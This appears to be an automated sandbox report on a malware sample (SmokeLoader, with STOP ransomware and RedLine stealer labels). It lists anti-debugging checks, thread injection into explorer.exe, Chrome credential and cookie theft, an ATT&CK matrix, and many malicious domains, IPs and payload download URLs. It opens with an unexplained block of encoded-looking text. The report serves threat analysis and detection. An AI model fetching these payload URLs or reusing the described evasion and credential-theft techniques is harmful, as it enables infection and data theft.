y8s4kA+AcPNbK6MV3HX0LSc5ymtbjTawsGRGFd2ulQpExVMmjfsHcEAnyDE6s9/TukwBiopsUBAA6V4PZM0sHF4NzVg/RhrGAPuvFXQq9gEMA1ZA8Toc7o7D6Bnz5z8s4kBsCyk2dh+/YI5Ql1g2oRl70R45AWYOpCIrHyOmTExLB+MVDS93CSkucWzaXeY0DP5Al7hNGcCPm7WdU6YLZycMqwaZj1RF/HiYKopVo1ap/KmxOZyAA10YTTzVoON55LbNU9qKzCFpGA5bFS1lXFYb+GJ26BO9rgqnzEqujmAAnxhsKAvzJgN/qrRqasBO2qjbfiYTSCUteopvYX52cPCAiIMPjcaCjyaS9APl/TZZjXVQd6ZDAcwLjKH7UwdHYrUTfhLM259YzFS9jjzkdsVw7SnXG/aVBu6AqxTNfh3rCwpPaxZRnkaWDCit007OnU0BV0JXUgMCxrwTl2WwFQxU/LnW/UVS0qxq8JJsmcPbrc6XK5VnbK/BnbnGz/DotlsOegmFuoYo8LmOqZDgaBhy/iy2aYdr8Lmusp/26uFlRKlPdxutXC1gAxdDbdqVd2omKChoad8tX0Sej9GwU1Jtq5eNpuONG4sea3az7wTgV0NWyPoP/OE9yx2ZG4G2

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\file.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bwgdrja	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	System information queried: CodeIntegrityInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0236092B mov eax, dword ptr fs:[00000030h]	0_2_0236092B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_02360D90 mov eax, dword ptr fs:[00000030h]	0_2_02360D90
Source: C:\Users\user\AppData\Roaming\bwgdrja	Code function: 16_2_00BDCB54 push dword ptr fs:[00000030h]	16_2_00BDCB54

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bwgdrja	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D3F7.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D3F7.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\151.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\151.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D3F7.exe

Code function: 17_2_00976AEC IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

17_2_00976AEC

Source: C:\Users\user\AppData\Local\Temp\D3F7.exe

Code function: 17_2_00944090 LdrInitializeThunk,VirtualAlloc,LdrInitializeThunk,LdrInitializeThunk,

17_2_00944090

Source: C:\Users\user\AppData\Local\Temp\D3F7.exe	Code function: 17_2_00976AEC IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		17_2_00976AEC
Source: C:\Users\user\AppData\Local\Temp\D3F7.exe	Code function: 17_2_009765AF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		17_2_009765AF

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: cucumbetuturel4.com
Source: C:\Windows\explorer.exe	Domain query: amrhomedecor.com
Source: C:\Windows\explorer.exe	Domain query: susuerulianita1.net
Source: C:\Windows\explorer.exe	Domain query: ilaboqbdeqwem.xyz
Source: C:\Windows\explorer.exe	Domain query: linislominyt11.at
Source: C:\Windows\explorer.exe	Domain query: i.xyzgamei.com
Source: C:\Windows\explorer.exe	Domain query: ilabonjsnmwiy.top
Source: C:\Windows\explorer.exe	Domain query: stylesheet.faseaegasdfase.com
Source: C:\Windows\explorer.exe	Domain query: moroitomo4.net
Source: C:\Windows\explorer.exe	Domain query: monsutiur4.com
Source: C:\Windows\explorer.exe	Domain query: beijaflor.nu
Source: C:\Windows\explorer.exe	Domain query: nusurionuy5ff.at
Source: C:\Windows\explorer.exe	Domain query: b.game2723.com
Source: C:\Windows\explorer.exe	Domain query: nunuslushau.com
Source: C:\Windows\explorer.exe	Domain query: www.amrhomedecor.com

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: cegdrja.3.dr

Jump to dropped file

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\file.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bwgdrja	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bwgdrja	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\file.exe	Thread created: C:\Windows\explorer.exe EIP: 57E1B44	Jump to behavior
Source: C:\Users\user\AppData\Roaming\bwgdrja	Thread created: unknown EIP: 5801B44	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Thread created: unknown EIP: 5851AC0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Thread created: unknown EIP: 58A1AC0	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D3F7.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\151.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe			Jump to behavior

Source: explorer.exe, 00000003.00000000.301697105.0000000001980000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.269414449.0000000001980000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.333624067.0000000001980000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program ManagerT7<=ge
Source: explorer.exe, 00000003.00000000.307091379.0000000006770000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.301697105.0000000001980000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.269414449.0000000001980000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000003.00000000.301697105.0000000001980000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.269414449.0000000001980000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.333624067.0000000001980000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000003.00000000.300585482.0000000001378000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.332289786.0000000001378000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.269087774.0000000001378000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CProgmanile
Source: explorer.exe, 00000003.00000000.301697105.0000000001980000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.269414449.0000000001980000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.333624067.0000000001980000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\AppData\Local\Temp\D3F7.exe

Code function: GetLocaleInfoEx,

17_2_00974E2F

Source: C:\Users\user\AppData\Local\Temp\D3F7.exe

Code function: 17_2_00976E59 cpuid

17_2_00976E59

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D3F7.exe

Code function: 17_2_00976984 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

17_2_00976984

Stealing of Sensitive Information

Yara detected SmokeLoader

Source: Yara match	File source: 29.0.A784.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.0.A784.exe.900e67.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.0.A784.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.0.A784.exe.900e67.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.A784.exe.900e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.A784.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.A784.exe.910000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.457008333.0000000006E10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.480872467.0000000000910000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.349455025.0000000002391000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.337356261.00000000057E1000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.349353478.0000000002370000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.397696259.0000000000B20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.457152622.0000000006E31000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.397718127.0000000000B41000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\4962.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4962.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies			Jump to behavior

Remote Access Functionality

Yara detected SmokeLoader

Source: Yara match	File source: 29.0.A784.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.0.A784.exe.900e67.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.0.A784.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.0.A784.exe.900e67.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.A784.exe.900e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.A784.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.A784.exe.910000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.457008333.0000000006E10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.480872467.0000000000910000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.349455025.0000000002391000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.337356261.00000000057E1000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.349353478.0000000002370000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.397696259.0000000000B20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.457152622.0000000006E31000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.397718127.0000000000B41000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	13 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	312 Process Injection	2 Obfuscated Files or Information	1 Input Capture	1 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Software Packing	Security Account Manager	124 System Information Discovery	SMB/Windows Admin Shares	1 Input Capture	Automated Exfiltration	4 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 DLL Side-Loading	NTDS	521 Security Software Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	125 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	131 Virtualization/Sandbox Evasion	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	11 Masquerading	Cached Domain Credentials	3 Process Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	131 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	312 Process Injection	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Hidden Files and Directories	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 Regsvr32	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	35%	ReversingLabs	Win32.Ransomware.Stop
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\4962.exe	100%	Avira	HEUR/AGEN.1249525
C:\Users\user\AppData\Roaming\bwgdrja	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\96E9.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\4962.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\A784.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\151.exe	39%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\151.exe	58%	ReversingLabs	Win32.Spyware.RedLine

Unpacked PE Files

Source	Detection	Scanner	Label	Download
29.0.A784.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.2.bwgdrja.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.0.A784.exe.400000.3.unpack	100%	Avira	HEUR/AGEN.1228938	Download File
29.0.A784.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.0.A784.exe.900e67.7.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.3.bwgdrja.9c0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.0.AppLaunch.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.file.exe.2360e67.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
17.3.D3F7.exe.880000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.2.A784.exe.900e67.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.0.A784.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1228938	Download File
29.0.A784.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1228938	Download File
29.0.A784.exe.400000.2.unpack	100%	Avira	HEUR/AGEN.1228938	Download File
0.2.file.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.3.151.exe.ab0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.2.A784.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.2.bwgdrja.9b0e67.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.3.A784.exe.910000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.3.file.exe.2370000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.0.A784.exe.900e67.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.hhiuew33.com/check/saferogram	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/safeuZKWa6qx4ffi29puEb	0%	Avira URL Cloud	safe
https://v.xyzgamev.com/31.html	100%	Avira URL Cloud	malware
http://ilaboqbdeqwem.xyz/	0%	Avira URL Cloud	safe
http://beijaflor.nu/slov.exe	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=1450053&key=a8b371419d7e81141f9fd04a431ed615OXDN5Raoj	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/safeWGH	0%	Avira URL Cloud	safe
http://ilabjmhrrygwf.top/	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/	100%	URL Reputation	malware
http://www.hhiuew33.coww.hhiuew33.com/	0%	Avira URL Cloud	safe
http://linislominyt11.at/	100%	URL Reputation	malware
http://stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe	100%	Avira URL Cloud	malware
http://ilabqemgfxxgi.info/	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/safe(	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=1450053&key=a8b371419d7e81141f9fd04a431ed615z5yVs4jw	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=1450053&key=a8b371419d7e81141f9fd04a431ed615nal	0%	Avira URL Cloud	safe
http://ilabonjsnmwiy.top/	0%	Avira URL Cloud	safe
http://ilabduzejekrk.online/	0%	Avira URL Cloud	safe
https://amrhomedecor.com/upload/index.php	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/safep	0%	Avira URL Cloud	safe
http://ilablyqfvvqjs.site/	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/safe	100%	Avira URL Cloud	malware
https://b.game2723.com/gamexyz/31/dd428b313f4ff686a4a5b5cd7dc34a50.exe	100%	Avira URL Cloud	malware
https://i.xyzgamei.com/gamexyz/31/random.exe	100%	Avira URL Cloud	malware
http://www.hhiuew33.com/s	0%	Avira URL Cloud	safe
http://www.hhiuew33.com:80/check/?sid=1450053&key=a8b371419d7e81141f9fd04a431ed615	0%	Avira URL Cloud	safe
https://v.xyzgamev.com/logo.pnghttps://v.xyzgamev.com/%d.htmlhttps://v.xyzgamev.com/31.html	100%	Avira URL Cloud	malware
http://www.hhiuew33.com/check/?sid=1450053&key=a8b371419d7e81141f9fd04a431ed615	0%	Avira URL Cloud	safe
http://www.hhiuew33.com:80/check/safePv	0%	Avira URL Cloud	safe
http://ilabxctzzcbtw.top/	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/6SevI8	0%	Avira URL Cloud	safe
http://ilabtobpwsvme.me/	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/check/?sid=1450053&key=a8b371419d7e81141f9fd04a431ed615y7oOiZvd	0%	Avira URL Cloud	safe
http://ilabbjjpbdzij.xyz/	0%	Avira URL Cloud	safe
http://ilabvankjnwka.online/	0%	Avira URL Cloud	safe
https://www.amrhomedecor.com/upload/index.php	0%	Avira URL Cloud	safe
http://www.hhiuew33.com/_	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
amrhomedecor.com	206.221.182.74	true	true	unknown
v.xyzgamev.com	104.21.40.196	true	false	unknown
monsutiur4.com	185.237.206.60	true	true	unknown
beijaflor.nu	91.217.57.30	true	true	unknown
b.game2723.com	188.114.97.3	true	true	unknown
ip-api.com	208.95.112.1	true	false	high
www.hhiuew33.com	45.136.151.102	true	true	unknown
linislominyt11.at	187.195.146.2	true	true	unknown
i.xyzgamei.com	172.67.137.109	true	true	unknown
ilabonjsnmwiy.top	194.87.94.240	true	true	unknown
stylesheet.faseaegasdfase.com	85.209.157.230	true	true	unknown
cucumbetuturel4.com	unknown	unknown	true	unknown
susuerulianita1.net	unknown	unknown	true	unknown
ilaboqbdeqwem.xyz	unknown	unknown	true	unknown
moroitomo4.net	unknown	unknown	true	unknown
nusurionuy5ff.at	unknown	unknown	true	unknown
nunuslushau.com	unknown	unknown	true	unknown
www.amrhomedecor.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://v.xyzgamev.com/31.html	true	Avira URL Cloud: malware	unknown
http://ilaboqbdeqwem.xyz/	true	Avira URL Cloud: safe	unknown
http://beijaflor.nu/slov.exe	false	Avira URL Cloud: safe	unknown
http://ilabjmhrrygwf.top/	true	Avira URL Cloud: safe	unknown
http://linislominyt11.at/	true	URL Reputation: malware	unknown
http://stylesheet.faseaegasdfase.com/hp8/g1/rtst1051.exe	true	Avira URL Cloud: malware	unknown
http://ilabqemgfxxgi.info/	true	Avira URL Cloud: safe	unknown
http://ilabonjsnmwiy.top/	true	Avira URL Cloud: safe	unknown
http://ilabduzejekrk.online/	true	Avira URL Cloud: safe	unknown
https://amrhomedecor.com/upload/index.php	false	Avira URL Cloud: safe	unknown
http://ilablyqfvvqjs.site/	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/safe	true	Avira URL Cloud: malware	unknown
https://b.game2723.com/gamexyz/31/dd428b313f4ff686a4a5b5cd7dc34a50.exe	true	Avira URL Cloud: malware	unknown
https://i.xyzgamei.com/gamexyz/31/random.exe	true	Avira URL Cloud: malware	unknown
http://ip-api.com/json/	false		high
http://www.hhiuew33.com/check/?sid=1450053&key=a8b371419d7e81141f9fd04a431ed615	true	Avira URL Cloud: safe	unknown
http://ilabxctzzcbtw.top/	true	Avira URL Cloud: safe	unknown
http://ilabtobpwsvme.me/	true	Avira URL Cloud: safe	unknown
http://ilabbjjpbdzij.xyz/	true	Avira URL Cloud: safe	unknown
http://ilabvankjnwka.online/	true	Avira URL Cloud: safe	unknown
https://www.amrhomedecor.com/upload/index.php	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.hhiuew33.com/check/saferogram	4962.exe, 00000024.00000002.560924492.000000000048B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/safeuZKWa6qx4ffi29puEb	4962.exe, 00000024.00000003.520838720.00000000004E2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.vmware.com/0	151.exe.3.dr, D3F7.exe.3.dr	false		high
http://www.hhiuew33.com/check/?sid=1450053&key=a8b371419d7e81141f9fd04a431ed615OXDN5Raoj	4962.exe, 00000024.00000003.520552547.0000000000518000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/safeWGH	4962.exe, 00000024.00000002.671153996.00000000004E2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.vmware.com/0/	151.exe.3.dr, D3F7.exe.3.dr	false		high
http://www.hhiuew33.com/	4962.exe, 00000024.00000002.756816320.0000000000514000.00000004.00000020.00020000.00000000.sdmp, 4962.exe, 00000024.00000003.520638160.00000000004C3000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://www.hhiuew33.coww.hhiuew33.com/	4962.exe, 00000024.00000003.523159984.00000000004B2000.00000004.00000020.00020000.00000000.sdmp, 4962.exe, 00000024.00000003.522533878.00000000004B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/safe(	4962.exe, 00000024.00000003.520838720.00000000004E2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/?sid=1450053&key=a8b371419d7e81141f9fd04a431ed615z5yVs4jw	4962.exe, 00000024.00000003.522038582.0000000000514000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/?sid=1450053&key=a8b371419d7e81141f9fd04a431ed615nal	4962.exe, 00000024.00000003.520552547.0000000000518000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://ip-api.com:80/json/	4962.exe, 00000024.00000003.509041869.00000000004C3000.00000004.00000020.00020000.00000000.sdmp, 4962.exe, 00000024.00000003.511147463.00000000004C3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.hhiuew33.com/check/safep	4962.exe, 00000024.00000002.671153996.00000000004E2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/s	4962.exe, 00000024.00000002.756816320.0000000000514000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com:80/check/?sid=1450053&key=a8b371419d7e81141f9fd04a431ed615	4962.exe, 00000024.00000002.606559086.00000000004C3000.00000004.00000020.00020000.00000000.sdmp, 4962.exe, 00000024.00000003.523178167.00000000004C3000.00000004.00000020.00020000.00000000.sdmp, 4962.exe, 00000024.00000003.522597092.00000000004C3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://v.xyzgamev.com/logo.pnghttps://v.xyzgamev.com/%d.htmlhttps://v.xyzgamev.com/31.html	39AF.exe, 00000028.00000002.524326066.000000000019B000.00000004.00000010.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.hhiuew33.com:80/check/safePv	4962.exe, 00000024.00000002.606559086.00000000004C3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/6SevI8	4962.exe, 00000024.00000003.520638160.00000000004C3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/check/?sid=1450053&key=a8b371419d7e81141f9fd04a431ed615y7oOiZvd	4962.exe, 00000024.00000003.520552547.0000000000518000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.hhiuew33.com/_	4962.exe, 00000024.00000003.519464111.0000000000518000.00000004.00000020.00020000.00000000.sdmp, 4962.exe, 00000024.00000003.520552547.0000000000518000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
85.209.157.230	stylesheet.faseaegasdfase.com	Netherlands	18978	ENZUINC-US	true
196.200.111.5	unknown	Eritrea	30987	ERITEL-ASER	false
104.21.40.196	v.xyzgamev.com	United States	13335	CLOUDFLARENETUS	false
91.217.57.30	beijaflor.nu	Netherlands	43190	GL-IX-ASNL	true
